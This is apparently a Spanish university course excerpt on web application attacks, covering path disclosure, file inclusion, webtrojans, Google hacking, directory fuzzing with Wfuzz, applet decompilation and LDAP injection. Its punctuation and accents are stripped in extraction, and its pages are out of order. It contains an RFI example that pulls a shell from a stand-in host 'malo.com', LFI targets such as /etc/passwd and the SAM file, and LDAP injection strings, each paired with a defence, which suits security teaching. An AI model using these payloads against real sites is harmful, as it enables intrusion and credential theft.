3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
